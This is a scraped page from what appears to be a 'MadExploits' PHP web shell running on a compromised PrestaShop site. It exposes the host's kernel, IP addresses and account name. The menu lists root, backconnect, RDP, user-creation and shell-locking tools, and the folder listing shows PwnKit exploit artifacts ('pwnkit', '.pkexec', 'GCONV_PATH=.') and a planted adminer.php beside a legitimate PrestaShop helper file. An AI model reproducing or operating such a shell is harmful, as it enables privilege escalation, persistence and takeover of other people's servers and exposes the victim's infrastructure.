Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
classes /
helper /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Helper.php
17.64
KB
-rw----r--
HelperCalendar.php
7.26
KB
-rw----r--
HelperForm.php
15.32
KB
-rw----r--
HelperImageUploader.php
2.86
KB
-rw----r--
HelperKpi.php
2.02
KB
-rw----r--
HelperKpiRow.php
1.46
KB
-rw----r--
HelperList.php
36.68
KB
-rw----r--
HelperOptions.php
14.18
KB
-rw----r--
HelperShop.php
3.77
KB
-rw----r--
HelperTreeCategories.php
15.81
KB
-rw----r--
HelperTreeShops.php
5.68
KB
-rw----r--
HelperUploader.php
8.97
KB
-rw----r--
HelperView.php
1.96
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : HelperTreeShops.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ class HelperTreeShopsCore extends TreeCore { const DEFAULT_TEMPLATE = 'tree_shops.tpl'; const DEFAULT_NODE_FOLDER_TEMPLATE = 'tree_node_folder_checkbox_shops.tpl'; const DEFAULT_NODE_ITEM_TEMPLATE = 'tree_node_item_checkbox_shops.tpl'; private $_lang; private $_selected_shops; public function __construct($id, $title = null, $lang = null) { parent::__construct($id); if (isset($title)) { $this->setTitle($title); } $this->setLang($lang); } public function getData() { if (!isset($this->_data)) { $this->setData(Shop::getTree()); } return $this->_data; } public function setLang($value) { $this->_lang = $value; return $this; } public function getLang() { if (!isset($this->_lang)) { $this->setLang($this->getContext()->employee->id_lang); } return $this->_lang; } public function getNodeFolderTemplate() { if (!isset($this->_node_folder_template)) { $this->setNodeFolderTemplate(self::DEFAULT_NODE_FOLDER_TEMPLATE); } return $this->_node_folder_template; } public function getNodeItemTemplate() { if (!isset($this->_node_item_template)) { $this->setNodeItemTemplate(self::DEFAULT_NODE_ITEM_TEMPLATE); } return $this->_node_item_template; } public function setSelectedShops($value) { if (!is_array($value)) { throw new PrestaShopException('Selected shops value must be an array'); } $this->_selected_shops = $value; return $this; } public function getSelectedShops() { if (!isset($this->_selected_shops)) { $this->_selected_shops = []; } return $this->_selected_shops; } public function getTemplate() { if (!isset($this->_template)) { $this->setTemplate(self::DEFAULT_TEMPLATE); } return $this->_template; } public function render($data = null, $use_default_actions = true, $use_selected_shop = true) { if (!isset($data)) { $data = $this->getData(); } if ($use_default_actions) { $this->setActions([ new TreeToolbarLink( 'Collapse All', '#', '$(\'#' . $this->getId() . '\').tree(\'collapseAll\'); return false;', 'icon-collapse-alt' ), new TreeToolbarLink( 'Expand All', '#', '$(\'#' . $this->getId() . '\').tree(\'expandAll\'); return false;', 'icon-expand-alt' ), new TreeToolbarLink( 'Check All', '#', 'checkAllAssociatedShops($(\'#' . $this->getId() . '\')); return false;', 'icon-check-sign' ), new TreeToolbarLink( 'Uncheck All', '#', 'uncheckAllAssociatedShops($(\'#' . $this->getId() . '\')); return false;', 'icon-check-empty' ), ]); } if ($use_selected_shop) { $this->setAttribute('selected_shops', $this->getSelectedShops()); } return parent::render($data); } public function renderNodes($data = null) { if (!isset($data)) { $data = $this->getData(); } if (!is_array($data) && !$data instanceof Traversable) { throw new PrestaShopException('Data value must be an traversable array'); } $html = ''; foreach ($data as $item) { if (array_key_exists('shops', $item) && !empty($item['shops'])) { $html .= $this->getContext()->smarty->createTemplate( $this->getTemplateFile($this->getNodeFolderTemplate()), $this->getContext()->smarty )->assign($this->getAttributes())->assign([ 'children' => $this->renderNodes($item['shops']), 'node' => $item, ])->fetch(); } else { $html .= $this->getContext()->smarty->createTemplate( $this->getTemplateFile($this->getNodeItemTemplate()), $this->getContext()->smarty )->assign($this->getAttributes())->assign([ 'node' => $item, ])->fetch(); } } return $html; } }
Close